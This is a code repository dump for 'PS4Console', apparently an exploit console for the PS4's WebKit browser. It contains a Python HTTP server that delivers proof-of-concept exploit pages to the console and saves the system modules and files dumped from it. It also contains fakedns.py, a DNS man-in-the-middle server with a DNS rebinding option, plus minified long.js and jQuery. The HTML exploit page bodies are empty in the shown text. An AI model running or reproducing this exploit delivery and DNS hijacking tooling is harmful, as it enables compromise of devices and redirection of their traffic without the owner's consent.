https://github.com/dcodeIO/long.js for details 5 | */ 6 | (function(d,g){"function"===typeof define&&define.amd?define([],g):"function"===typeof require&&"object"===typeof module&&module&&module.exports?module.exports=g():(d.dcodeIO=d.dcodeIO||{}).Long=g()})(this,function(){function d(a,b,c){this.low=a|0;this.high=b|0;this.unsigned=!!c}function g(a){return!0===(a&&a.__isLong__)}function m(a,b){var c,t;if(b){a>>>=0;if(t=0<=a&&256>a)if(c=z[a])return c;c=e(a,0>(a|0)?-1:0,!0);t&&(z[a]=c)}else{a|=0;if(t=-128<=a&&128>a)if(c=A[a])return c;c=e(a,0>a?-1:0,!1);t&& 7 | (A[a]=c)}return c}function n(a,b){if(isNaN(a)||!isFinite(a))return b?p:k;if(b){if(0>a)return p;if(a>=B)return C}else{if(a<=-D)return l;if(a+1>=D)return E}return 0>a?n(-a,b).neg():e(a%4294967296|0,a/4294967296|0,b)}function e(a,b,c){return new d(a,b,c)}function x(a,b,c){if(0===a.length)throw Error("empty string");if("NaN"===a||"Infinity"===a||"+Infinity"===a||"-Infinity"===a)return k;"number"===typeof b?(c=b,b=!1):b=!!b;c=c||10;if(2>c||36d?(d=n(v(c,d)),e=e.mul(d).add(n(g))):(e=e.mul(t),e=e.add(n(g)))}e.unsigned=b;return e}function q(a){return a instanceof d?a:"number"===typeof a?n(a):"string"===typeof a?x(a):e(a.low,a.high,a.unsigned)}Object.defineProperty(d.prototype,"__isLong__",{value:!0,enumerable:!1,configurable:!1});d.isLong=g;var A={},z={};d.fromInt=m;d.fromNumber=n;d.fromBits= 9 | e;var v=Math.pow;d.fromString=x;d.fromValue=q;var B=4294967296*4294967296,D=B/2,F=m(16777216),k=m(0);d.ZERO=k;var p=m(0,!0);d.UZERO=p;var r=m(1);d.ONE=r;var G=m(1,!0);d.UONE=G;var y=m(-1);d.NEG_ONE=y;var E=e(-1,2147483647,!1);d.MAX_VALUE=E;var C=e(-1,-1,!0);d.MAX_UNSIGNED_VALUE=C;var l=e(0,-2147483648,!1);d.MIN_VALUE=l;var b=d.prototype;b.toInt=function(){return this.unsigned?this.low>>>0:this.low};b.toNumber=function(){return this.unsigned?4294967296*(this.high>>>0)+(this.low>>>0):4294967296*this.high+ 10 | (this.low>>>0)};b.toString=function(a){a=a||10;if(2>a||36>>0).toString(a),b=d;if(b.isZero())return f+e;for(;6>f.length;)f="0"+f;e=""+f+e}};b.getHighBits=function(){return this.high};b.getHighBitsUnsigned= 11 | function(){return this.high>>>0};b.getLowBits=function(){return this.low};b.getLowBitsUnsigned=function(){return this.low>>>0};b.getNumBitsAbs=function(){if(this.isNegative())return this.eq(l)?64:this.neg().getNumBitsAbs();for(var a=0!=this.high?this.high:this.low,b=31;0this.high};b.isPositive=function(){return this.unsigned||0<=this.high};b.isOdd= 12 | function(){return 1===(this.low&1)};b.isEven=function(){return 0===(this.low&1)};b.equals=function(a){g(a)||(a=q(a));return this.unsigned!==a.unsigned&&1===this.high>>>31&&1===a.high>>>31?!1:this.high===a.high&&this.low===a.low};b.eq=b.equals;b.notEquals=function(a){return!this.eq(a)};b.neq=b.notEquals;b.lessThan=function(a){return 0>this.comp(a)};b.lt=b.lessThan;b.lessThanOrEqual=function(a){return 0>=this.comp(a)};b.lte=b.lessThanOrEqual;b.greaterThan=function(a){return 0>>0>this.high>>>0||a.high===this.high&&a.low>>>0>this.low>>>0?-1:1:this.sub(a).isNegative()?-1:1};b.comp=b.compare;b.negate=function(){return!this.unsigned&&this.eq(l)?l:this.not().add(r)};b.neg=b.negate;b.add=function(a){g(a)||(a=q(a));var b=this.high>>>16,c=this.high&65535, 14 | d=this.low>>>16,l=a.high>>>16,f=a.high&65535,n=a.low>>>16,k;k=0+((this.low&65535)+(a.low&65535));a=0+(k>>>16);a+=d+n;d=0+(a>>>16);d+=c+f;c=0+(d>>>16);c=c+(b+l)&65535;return e((a&65535)<<16|k&65535,c<<16|d&65535,this.unsigned)};b.subtract=function(a){g(a)||(a=q(a));return this.add(a.neg())};b.sub=b.subtract;b.multiply=function(a){if(this.isZero())return k;g(a)||(a=q(a));if(a.isZero())return k;if(this.eq(l))return a.isOdd()?l:k;if(a.eq(l))return this.isOdd()?l:k;if(this.isNegative())return a.isNegative()? 15 | this.neg().mul(a.neg()):this.neg().mul(a).neg();if(a.isNegative())return this.mul(a.neg()).neg();if(this.lt(F)&&a.lt(F))return n(this.toNumber()*a.toNumber(),this.unsigned);var b=this.high>>>16,c=this.high&65535,d=this.low>>>16,w=this.low&65535,f=a.high>>>16,m=a.high&65535,p=a.low>>>16;a=a.low&65535;var u,h,s,r;r=0+w*a;s=0+(r>>>16);s+=d*a;h=0+(s>>>16);s=(s&65535)+w*p;h+=s>>>16;s&=65535;h+=c*a;u=0+(h>>>16);h=(h&65535)+d*p;u+=h>>>16;h&=65535;h+=w*m;u+=h>>>16;h&=65535;u=u+(b*a+c*p+d*m+w*f)&65535;return e(s<< 16 | 16|r&65535,u<<16|h,this.unsigned)};b.mul=b.multiply;b.divide=function(a){g(a)||(a=q(a));if(a.isZero())throw Error("division by zero");if(this.isZero())return this.unsigned?p:k;var b,c,d;if(this.unsigned){a.unsigned||(a=a.toUnsigned());if(a.gt(this))return p;if(a.gt(this.shru(1)))return G;d=p}else{if(this.eq(l)){if(a.eq(r)||a.eq(y))return l;if(a.eq(l))return r;b=this.shr(1).div(a).shl(1);if(b.eq(k))return a.isNegative()?r:y;c=this.sub(a.mul(b));return d=b.add(c.div(a))}if(a.eq(l))return this.unsigned? 17 | p:k;if(this.isNegative())return a.isNegative()?this.neg().div(a.neg()):this.neg().div(a).neg();if(a.isNegative())return this.div(a.neg()).neg();d=k}for(c=this;c.gte(a);){b=Math.max(1,Math.floor(c.toNumber()/a.toNumber()));for(var e=Math.ceil(Math.log(b)/Math.LN2),e=48>=e?1:v(2,e-48),f=n(b),m=f.mul(a);m.isNegative()||m.gt(c);)b-=e,f=n(b,this.unsigned),m=f.mul(a);f.isZero()&&(f=r);d=d.add(f);c=c.sub(m)}return d};b.div=b.divide;b.modulo=function(a){g(a)||(a=q(a));return this.sub(this.div(a).mul(a))}; 18 | b.mod=b.modulo;b.not=function(){return e(~this.low,~this.high,this.unsigned)};b.and=function(a){g(a)||(a=q(a));return e(this.low&a.low,this.high&a.high,this.unsigned)};b.or=function(a){g(a)||(a=q(a));return e(this.low|a.low,this.high|a.high,this.unsigned)};b.xor=function(a){g(a)||(a=q(a));return e(this.low^a.low,this.high^a.high,this.unsigned)};b.shiftLeft=function(a){g(a)&&(a=a.toInt());return 0===(a&=63)?this:32>a?e(this.low<>>32-a,this.unsigned):e(0,this.low<a?e(this.low>>>a|this.high<<32-a,this.high>>a,this.unsigned):e(this.high>>a-32,0<=this.high?0:-1,this.unsigned)};b.shr=b.shiftRight;b.shiftRightUnsigned=function(a){g(a)&&(a=a.toInt());a&=63;if(0===a)return this;var b=this.high;return 32>a?e(this.low>>>a|b<<32-a,b>>>a,this.unsigned):32===a?e(b,0,this.unsigned):e(b>>>a-32,0,this.unsigned)};b.shru=b.shiftRightUnsigned;b.toSigned=function(){return this.unsigned? 20 | e(this.low,this.high,!1):this};b.toUnsigned=function(){return this.unsigned?this:e(this.low,this.high,!0)};return d}); 21 | -------------------------------------------------------------------------------- /pages/sysinfo.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 209 | -------------------------------------------------------------------------------- /ps4console.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import BaseHTTPServer 4 | import json 5 | import SocketServer 6 | 7 | import SimpleHTTPServer 8 | 9 | import platform 10 | import subprocess 11 | import os 12 | import sys 13 | 14 | DEVNULL = open(os.devnull, 'wb') 15 | 16 | exploitCmds = {'runpoc', 'dump', 'getmodules', 'getpid', 'getsysinfo', 'ls'} 17 | exploitCmd = '' 18 | browserPage = '/' 19 | 20 | def runConsoleInterpretter(): 21 | while True: 22 | print ">", 23 | 24 | command = raw_input() 25 | 26 | if command in exploitCmds: 27 | exploitCmd = command 28 | print "A command requiring code execution has been called. To continue the console, please refresh the page on your PS4 system..." 29 | break 30 | elif " " in command: 31 | if command[0:command.index(" ")] in exploitCmds: 32 | exploitCmd = command 33 | print "A command requiring code execution has been called. To continue the console, please refresh the page on your PS4 system..." 34 | break 35 | 36 | if command[0:2] == "cd": 37 | global browserPage 38 | 39 | if command[3] == '/': 40 | browserPage = command[3:] 41 | elif command[3:5] == '..': 42 | pass 43 | elif command[3:5] == './': 44 | browserPage += command[4:] 45 | else: # Must be relative 46 | if browserPage[-1:] == '/': 47 | browserPage += command[3:] 48 | else: 49 | browserPage += '/' + command[3:] 50 | 51 | 52 | print("Directory changed to: [" + browserPage + "]") 53 | 54 | if command == "authors": 55 | print("\r") 56 | print("[ PS4Console Version 1.1 - Authors ]") 57 | print("\r") 58 | print("Specter") 59 | print("Fire30") 60 | print("Maxton") 61 | print("Xerpi") 62 | print("\r\r") 63 | 64 | if command == "clear": 65 | if platform.system() == 'Windows': 66 | os.system('cls') 67 | else: 68 | os.system('clear') 69 | 70 | if command == "help": 71 | print("\r") 72 | print("[ PS4Console Version 1.1 - Help Center ]") 73 | print("\r") 74 | print("Commands marked with a '!!!' are currently not functional.") 75 | print("\r\r") 76 | print("List of commands:") 77 | print("-") 78 | print("authors") 79 | print("cd [new dir]") 80 | print("clear") 81 | print("dump {file/module} [file name/module name/module id]") 82 | print("getmodules") 83 | print("getpid") 84 | print("help") 85 | print("ls") 86 | print("runpoc") 87 | print("\r\r") 88 | 89 | if exploitCmd != '': 90 | return exploitCmd 91 | 92 | return 93 | 94 | class PS4Console(SimpleHTTPServer.SimpleHTTPRequestHandler): 95 | 96 | def do_GET(self): 97 | if '/scripts/' in self.path: 98 | self.send_response(200); 99 | self.send_header("Content-type", "text/html") 100 | self.end_headers() 101 | path = self.path[1:] 102 | self.wfile.write(open(path).read()) 103 | else: 104 | self.send_response(200); 105 | self.send_header("Content-type", "text/html") 106 | self.end_headers() 107 | 108 | cmdToRun = runConsoleInterpretter() 109 | 110 | if cmdToRun == 'ls': 111 | print("\r") 112 | print("[ PS4Console Version 1.1 - List Directory ]") 113 | print("\r") 114 | self.wfile.write("" + open('pages/ls.html').read()) 115 | 116 | if cmdToRun == 'runpoc': 117 | print("\r") 118 | print("[ PS4Console Version 1.1 - POC Test ]") 119 | print("\r") 120 | self.wfile.write(open('pages/runpoc.html').read()) 121 | 122 | if cmdToRun == 'getmodules': 123 | print("\r") 124 | print("[ PS4Console Version 1.1 - Module Information ]") 125 | print("\r") 126 | self.wfile.write(open('pages/sysinfo.html').read()) 127 | 128 | if cmdToRun == 'getpid': 129 | print("\r") 130 | print "One of the two WebKit PID's is:", 131 | self.wfile.write(open('pages/getpid.html').read()) 132 | 133 | if cmdToRun == 'getsysinfo': 134 | print("\r") 135 | print("[ PS4Console Version 1.1 - System Information ]") 136 | self.wfile.write(open('pages/getsysinfo.html').read()) 137 | 138 | if cmdToRun[0:4] == 'dump': 139 | print("\r") 140 | print("[ PS4Console Version 1.1 - Module/File Dumper ]") 141 | print("\r") 142 | 143 | if 'module' in cmdToRun: 144 | # List of valid modules for dumping 145 | validModuleNames = ["libSceSysmodule", "libSceNetCtl", "libSceRegMgr", "libSceRtc", "libScePad", "libSceOrbisCompat", "libSceSysCore", "libSceSystemService", "libSceSsl"] 146 | validModuleIDs = ["0xC", "0x1B", "0x1F", "0x20", "0x21", "0x23", "0x25", "0x26", "0x35"] 147 | 148 | moduleToDump = "" 149 | 150 | if cmdToRun[12:] in validModuleNames: 151 | # Loop through the array to get the index, then get the module ID from this index 152 | moduleIndex = -1; 153 | 154 | for x in range(0, len(validModuleNames)): 155 | if validModuleNames[x] == cmdToRun[12:]: 156 | moduleIndex = x 157 | break 158 | 159 | if moduleIndex != -1: 160 | moduleToDump = validModuleIDs[x] 161 | else: 162 | print "Module name does not have a corresponding module ID" 163 | 164 | elif cmdToRun[12:] in validModuleIDs: 165 | moduleToDump = cmdToRun[12:] 166 | 167 | else: 168 | print "You are attempting to dump an unknown or unsupported module..." 169 | 170 | if moduleToDump != "": 171 | print "Preparing to dump module with ID [" + moduleToDump + "]..." 172 | self.wfile.write("" + open('pages/dump-module.html').read()) 173 | 174 | elif 'file' in cmdToRun: 175 | # We must open the file via syscall open, then read via syscall read 176 | fileToDump = browserPage + "/" + cmdToRun[10:] 177 | print "Preparing to dump file of name [" + fileToDump + "]..." 178 | self.wfile.write("" + open('pages/dump-file.html').read()) 179 | 180 | def do_POST(self): 181 | if '/debug/log' in self.path: 182 | data_string = self.rfile.read(int(self.headers['Content-Length'])) 183 | self.send_response(200) 184 | self.end_headers() 185 | print data_string 186 | 187 | if '/debug/bin' in self.path: 188 | filename = self.path.split("/")[-1] 189 | 190 | dataString = self.rfile.read(int(self.headers['Content-length'])) 191 | self.send_response(200) 192 | self.end_headers() 193 | f = open('Dumps/Modules/' + filename, mode='wb') 194 | f.write(dataString) 195 | f.close() 196 | 197 | print 'Module has been dumped to %s' % filename 198 | 199 | if '/debug/file' in self.path: 200 | filename = self.path.split("/")[-1] 201 | 202 | dataString = self.rfile.read(int(self.headers['Content-length'])) 203 | self.send_response(200) 204 | self.end_headers() 205 | f = open('Dumps/Files/' + filename, mode='wb') 206 | f.write(dataString) 207 | f.close() 208 | 209 | def log_message(self, format, *args): 210 | return 211 | 212 | if __name__ == '__main__': 213 | server_class = BaseHTTPServer.HTTPServer 214 | httpd = server_class(('0.0.0.0', 80), PS4Console) 215 | 216 | print("[ Welcome to PS4Console ]") 217 | print("Starting fakedns.py. . .") 218 | 219 | subprocess.Popen(["python", "fakedns.py", "-c", "dns.conf"], stdout=DEVNULL, stderr=DEVNULL) 220 | 221 | if platform.system() == 'Windows': 222 | os.system("cls") 223 | else: 224 | os.system("clear") 225 | 226 | print("Go to the web browser on the PS4/User Guide and go to the landing page to issue commands. To continue issuing commands, hit OK when WebKit crashes...\r\n"); 227 | 228 | try: 229 | httpd.serve_forever() 230 | except KeyboardInterrupt: 231 | pass 232 | 233 | httpd.server_close() 234 | -------------------------------------------------------------------------------- /pages/dump-file.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 254 | -------------------------------------------------------------------------------- /pages/dump-module.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 273 | -------------------------------------------------------------------------------- /pages/ls.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 267 | 268 | -------------------------------------------------------------------------------- /fakedns.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | """ """ 3 | """ Fakedns.py """ 4 | """ A regular-expression based DNS MITM Server """ 5 | """ by: Crypt0s """ 6 | 7 | import pdb 8 | import threading 9 | import time 10 | import socket 11 | import re 12 | import sys 13 | import os 14 | import SocketServer 15 | import signal 16 | import argparse 17 | 18 | # inspired from DNSChef 19 | 20 | 21 | class ThreadedUDPServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): 22 | 23 | def __init__(self, server_address, RequestHandlerClass): 24 | self.address_family = socket.AF_INET 25 | SocketServer.UDPServer.__init__( 26 | self, server_address, RequestHandlerClass) 27 | 28 | 29 | class UDPHandler(SocketServer.BaseRequestHandler): 30 | 31 | def handle(self): 32 | (data, s) = self.request 33 | respond(data, self.client_address, s) 34 | 35 | 36 | class DNSQuery: 37 | 38 | def __init__(self, data): 39 | self.data = data 40 | self.dominio = '' 41 | tipo = (ord(data[2]) >> 3) & 15 # Opcode bits 42 | if tipo == 0: # Standard query 43 | ini = 12 44 | lon = ord(data[ini]) 45 | while lon != 0: 46 | self.dominio += data[ini + 1:ini + lon + 1] + '.' 47 | ini += lon + 1 # you can implement CNAME and PTR 48 | lon = ord(data[ini]) 49 | self.type = data[ini:][1:3] 50 | else: 51 | self.type = data[-4:-2] 52 | 53 | # Because python doesn't have native ENUM in 2.7: 54 | TYPE = { 55 | "\x00\x01": "A", 56 | "\x00\x1c": "AAAA", 57 | "\x00\x05": "CNAME", 58 | "\x00\x0c": "PTR", 59 | "\x00\x10": "TXT", 60 | "\x00\x0f": "MX" 61 | } 62 | 63 | # Stolen: 64 | # https://github.com/learningequality/ka-lite/blob/master/python-packages/django/utils/ipv6.py#L209 65 | 66 | 67 | def _is_shorthand_ip(ip_str): 68 | """Determine if the address is shortened. 69 | Args: 70 | ip_str: A string, the IPv6 address. 71 | Returns: 72 | A boolean, True if the address is shortened. 73 | """ 74 | if ip_str.count('::') == 1: 75 | return True 76 | if any(len(x) < 4 for x in ip_str.split(':')): 77 | return True 78 | return False 79 | 80 | # Stolen: 81 | # https://github.com/learningequality/ka-lite/blob/master/python-packages/django/utils/ipv6.py#L209 82 | 83 | 84 | def _explode_shorthand_ip_string(ip_str): 85 | """ 86 | Expand a shortened IPv6 address. 87 | Args: 88 | ip_str: A string, the IPv6 address. 89 | Returns: 90 | A string, the expanded IPv6 address. 91 | """ 92 | if not _is_shorthand_ip(ip_str): 93 | # We've already got a longhand ip_str. 94 | return ip_str 95 | 96 | new_ip = [] 97 | hextet = ip_str.split('::') 98 | 99 | # If there is a ::, we need to expand it with zeroes 100 | # to get to 8 hextets - unless there is a dot in the last hextet, 101 | # meaning we're doing v4-mapping 102 | if '.' in ip_str.split(':')[-1]: 103 | fill_to = 7 104 | else: 105 | fill_to = 8 106 | 107 | if len(hextet) > 1: 108 | sep = len(hextet[0].split(':')) + len(hextet[1].split(':')) 109 | new_ip = hextet[0].split(':') 110 | 111 | for _ in xrange(fill_to - sep): 112 | new_ip.append('0000') 113 | new_ip += hextet[1].split(':') 114 | 115 | else: 116 | new_ip = ip_str.split(':') 117 | 118 | # Now need to make sure every hextet is 4 lower case characters. 119 | # If a hextet is < 4 characters, we've got missing leading 0's. 120 | ret_ip = [] 121 | for hextet in new_ip: 122 | ret_ip.append(('0' * (4 - len(hextet)) + hextet).lower()) 123 | return ':'.join(ret_ip) 124 | 125 | 126 | def _get_question_section(query): 127 | # Query format is as follows: 12 byte header, question section (comprised 128 | # of arbitrary-length name, 2 byte type, 2 byte class), followed by an 129 | # additional section sometimes. (e.g. OPT record for DNSSEC) 130 | start_idx = 12 131 | end_idx = start_idx 132 | 133 | num_questions = (ord(query.data[4]) << 8) | ord(query.data[5]) 134 | 135 | while num_questions > 0: 136 | while query.data[end_idx] != '\0': 137 | end_idx += ord(query.data[end_idx]) + 1 138 | # Include the null byte, type, and class 139 | end_idx += 5 140 | num_questions -= 1 141 | 142 | return query.data[start_idx:end_idx] 143 | 144 | 145 | class DNSResponse(object): 146 | 147 | def __init__(self, query): 148 | self.id = query.data[:2] # Use the ID from the request. 149 | self.flags = "\x81\x80" # No errors, we never have those. 150 | self.questions = query.data[4:6] # Number of questions asked... 151 | # Answer RRs (Answer resource records contained in response) 1 for now. 152 | self.rranswers = "\x00\x01" 153 | self.rrauthority = "\x00\x00" # Same but for authority 154 | self.rradditional = "\x00\x00" # Same but for additionals. 155 | # Include the question section 156 | self.query = _get_question_section(query) 157 | # The pointer to the resource record - seems to always be this value. 158 | self.pointer = "\xc0\x0c" 159 | # This value is set by the subclass and is defined in TYPE dict. 160 | self.type = None 161 | self.dnsclass = "\x00\x01" # "IN" class. 162 | # TODO: Make this adjustable - 1 is good for noobs/testers 163 | self.ttl = "\x00\x00\x00\x01" 164 | # Set by subclass because is variable except in A/AAAA records. 165 | self.length = None 166 | self.data = None # Same as above. 167 | 168 | def make_packet(self): 169 | try: 170 | self.packet = self.id + self.flags + self.questions + self.rranswers + self.rrauthority + \ 171 | self.rradditional + self.query + self.pointer + self.type + \ 172 | self.dnsclass + self.ttl + self.length + self.data 173 | except: 174 | pdb.set_trace() 175 | return self.packet 176 | 177 | # All classess need to set type, length, and data fields of the DNS Response 178 | # Finished 179 | 180 | 181 | class A(DNSResponse): 182 | 183 | def __init__(self, query, record): 184 | super(A, self).__init__(query) 185 | self.type = "\x00\x01" 186 | self.length = "\x00\x04" 187 | self.data = self.get_ip(record, query) 188 | 189 | def get_ip(self, dns_record, query): 190 | ip = dns_record 191 | # Convert to hex 192 | return str.join('', map(lambda x: chr(int(x)), ip.split('.'))) 193 | 194 | # Not implemented, need to get ipv6 to translate correctly into hex 195 | 196 | 197 | class AAAA(DNSResponse): 198 | 199 | def __init__(self, query, address): 200 | super(AAAA, self).__init__(query) 201 | self.type = "\x00\x1c" 202 | self.length = "\x00\x10" 203 | # Address is already encoded properly for the response at rule-builder 204 | self.data = address 205 | 206 | # Thanks, stackexchange! 207 | # http://stackoverflow.com/questions/16276913/reliably-get-ipv6-address-in-python 208 | def get_ip_6(host, port=0): 209 | # search only for the wanted v6 addresses 210 | result = socket.getaddrinfo(host, port, socket.AF_INET6) 211 | # Will need something that looks like this: 212 | # just returns the first answer and only the address 213 | ip = result[0][4][0] 214 | 215 | # Not yet implemented 216 | 217 | 218 | class CNAME(DNSResponse): 219 | 220 | def __init__(self, query): 221 | super(CNAME, self).__init__(query) 222 | self.type = "\x00\x05" 223 | 224 | # Not yet implemented 225 | 226 | 227 | class PTR(DNSResponse): 228 | 229 | def __init__(self, query, ptr_entry): 230 | super(PTR, self).__init__(query) 231 | self.type = "\x00\x0c" 232 | 233 | ptr_split = ptr_entry.split('.') 234 | ptr_entry = "\x07".join(ptr_split) 235 | 236 | self.data = "\x0e" + ptr_entry + "\x00" 237 | self.data = "\x132-8-8-8\x02lulz\x07com\x00" 238 | self.length = chr(len(ptr_entry) + 2) 239 | # Again, must be 2-byte value. 240 | if self.length < '\xff': 241 | self.length = "\x00" + self.length 242 | 243 | # Finished 244 | 245 | 246 | class TXT(DNSResponse): 247 | 248 | def __init__(self, query, txt_record): 249 | super(TXT, self).__init__(query) 250 | self.type = "\x00\x10" 251 | self.data = txt_record 252 | self.length = chr(len(txt_record) + 1) 253 | # Must be two bytes. 254 | if self.length < '\xff': 255 | self.length = "\x00" + self.length 256 | # Then, we have to add the TXT record length field! We utilize the 257 | # length field for this since it is already in the right spot 258 | self.length = self.length + chr(len(txt_record)) 259 | 260 | # And this one is because Python doesn't have Case/Switch 261 | CASE = { 262 | "\x00\x01": A, 263 | "\x00\x1c": AAAA, 264 | "\x00\x05": CNAME, 265 | "\x00\x0c": PTR, 266 | "\x00\x10": TXT 267 | } 268 | 269 | # Technically this is a subclass of A 270 | 271 | 272 | class NONEFOUND(DNSResponse): 273 | 274 | def __init__(self, query): 275 | super(NONEFOUND, self).__init__(query) 276 | self.type = query.type 277 | self.flags = "\x81\x83" 278 | self.rranswers = "\x00\x00" 279 | self.length = "\x00\x00" 280 | self.data = "\x00" 281 | print ">> Built NONEFOUND response" 282 | 283 | 284 | class ruleEngine: 285 | 286 | def __init__(self, file): 287 | 288 | # Hackish place to track our DNS rebinding 289 | self.match_history = {} 290 | 291 | self.re_list = [] 292 | print '>>', 'Parse rules...' 293 | with open(file, 'r') as rulefile: 294 | rules = rulefile.readlines() 295 | for rule in rules: 296 | splitrule = rule.split() 297 | 298 | # Make sure that the record type is one we currently support 299 | # TODO: Straight-up let a user define a custome response type 300 | # byte if we don't have one. 301 | if splitrule[0] not in TYPE.values(): 302 | print "Malformed rule : " + rule + " Not Processed." 303 | continue 304 | 305 | # We need to do some housekeeping for ipv6 rules and turn them into full addresses if they are shorts. 306 | # I could do this at match-time, but i like speed, so I've 307 | # decided to keep this in the rule parser and then work on the 308 | # logging separate 309 | if splitrule[0] == "AAAA": 310 | if _is_shorthand_ip(splitrule[2]): 311 | splitrule[2] = _explode_shorthand_ip_string( 312 | splitrule[2]) 313 | # OK Now we need to get the ip broken into something that 314 | # the DNS response can have in it 315 | splitrule[2] = splitrule[2].replace(":", "").decode('hex') 316 | # That is what goes into the DNS request. 317 | 318 | # If the ip is 'self' transform it to local ip. 319 | if splitrule[2] == 'self': 320 | try: 321 | ip = socket.gethostbyname(socket.gethostname()) 322 | except: 323 | print ">> Could not get your IP address from your DNS Server." 324 | ip = '127.0.0.1' 325 | splitrule[2] = ip 326 | 327 | # things after the third element will be dnsrebind args 328 | self.re_list.append( 329 | [splitrule[0], re.compile(splitrule[1])] + splitrule[2:]) 330 | 331 | # TODO: More robust logging system - printing ipv6 rules 332 | # requires specialness since I encode the ipv6 addr in-rule 333 | if splitrule[0] == "AAAA": 334 | print '>>', splitrule[1], '->', splitrule[2].encode('hex') 335 | else: 336 | print '>>', splitrule[1], '->', splitrule[2] 337 | 338 | print '>>', str(len(rules)) + " rules parsed" 339 | 340 | # Matching has now been moved into the ruleEngine so that we don't repeat 341 | # ourselves 342 | def match(self, query, addr): 343 | for rule in self.re_list: 344 | # Match on the domain, then on the query type 345 | if rule[1].match(query.dominio): 346 | if query.type in TYPE.keys() and rule[0] == TYPE[query.type]: 347 | # OK, this is a full match, fire away with the correct 348 | # response type: 349 | 350 | # Check our DNS Rebinding tracker and see if we need to 351 | # respond with the second address now... 352 | if args.rebind == True and len(rule) >= 3 and addr in self.match_history.keys(): 353 | # use second address (rule[3]) 354 | response_data = rule[3] 355 | self.match_history[addr] += 1 356 | elif args.rebind == True and len(rule) >= 3: 357 | self.match_history[addr] = 1 358 | response_data = rule[2] 359 | else: 360 | response_data = rule[2] 361 | 362 | response = CASE[query.type](query, response_data) 363 | print ">> Matched Request - " + query.dominio 364 | return response.make_packet() 365 | 366 | # OK, we don't have a rule for it, lets see if it exists... 367 | try: 368 | # We need to handle the request potentially being a TXT,A,MX,ect... request. 369 | # So....we make a socket and literally just forward the request raw 370 | # to our DNS server. 371 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 372 | s.settimeout(3.0) 373 | addr = ('8.8.8.8', 53) 374 | s.sendto(query.data, addr) 375 | data = s.recv(1024) 376 | s.close() 377 | print "Unmatched Request " + query.dominio 378 | return data 379 | except: 380 | # We really shouldn't end up here, but if we do, we want to handle it gracefully and not let down the client. 381 | # The cool thing about this is that NOTFOUND will take the type straight out of 382 | # the query object and build the correct query response type from 383 | # that automagically 384 | print ">> Error was handled by sending NONEFOUND" 385 | return NONEFOUND(query).make_packet() 386 | 387 | # Convenience method for threading. 388 | 389 | 390 | def respond(data, addr, s): 391 | p = DNSQuery(data) 392 | response = rules.match(p, addr[0]) 393 | s.sendto(response, addr) 394 | return response 395 | 396 | 397 | def signal_handler(signal, frame): 398 | print 'Exiting...' 399 | sys.exit(0) 400 | 401 | if __name__ == '__main__': 402 | 403 | parser = argparse.ArgumentParser(description='things and stuff') 404 | parser.add_argument('-c', dest='path', action='store', 405 | help='Path to configuration file', required=True) 406 | parser.add_argument('-i', dest='iface', action='store', 407 | help='IP address you wish to run FakeDns with - default all', default='0.0.0.0', required=False) 408 | parser.add_argument('--rebind', dest='rebind', action='store_true', required=False, default=False, 409 | help="Enable DNS rebinding attacks - responds with one result the first request, and another result on subsequent requests") 410 | 411 | args = parser.parse_args() 412 | 413 | # Default config file path. 414 | path = args.path 415 | if not os.path.isfile(path): 416 | print '>> Please create a "dns.conf" file or specify a config path: ./fakedns.py [configfile]' 417 | exit() 418 | 419 | rules = ruleEngine(path) 420 | re_list = rules.re_list 421 | 422 | interface = args.iface 423 | port = 53 424 | 425 | try: 426 | server = ThreadedUDPServer((interface, int(port)), UDPHandler) 427 | except: 428 | print ">> Could not start server -- is another program on udp:53?" 429 | exit(1) 430 | 431 | server.daemon = True 432 | signal.signal(signal.SIGINT, signal_handler) 433 | server.serve_forever() 434 | server_thread.join() -------------------------------------------------------------------------------- /scripts/jquery.min.js: -------------------------------------------------------------------------------- 1 | /*! jQuery v2.2.3 | (c) jQuery Foundation | jquery.org/license */ 2 | !function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.3",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(e.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor()},push:g,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(n.isPlainObject(d)||(e=n.isArray(d)))?(e?(e=!1,f=c&&n.isArray(c)?c:[]):f=c&&n.isPlainObject(c)?c:{},g[b]=n.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){var 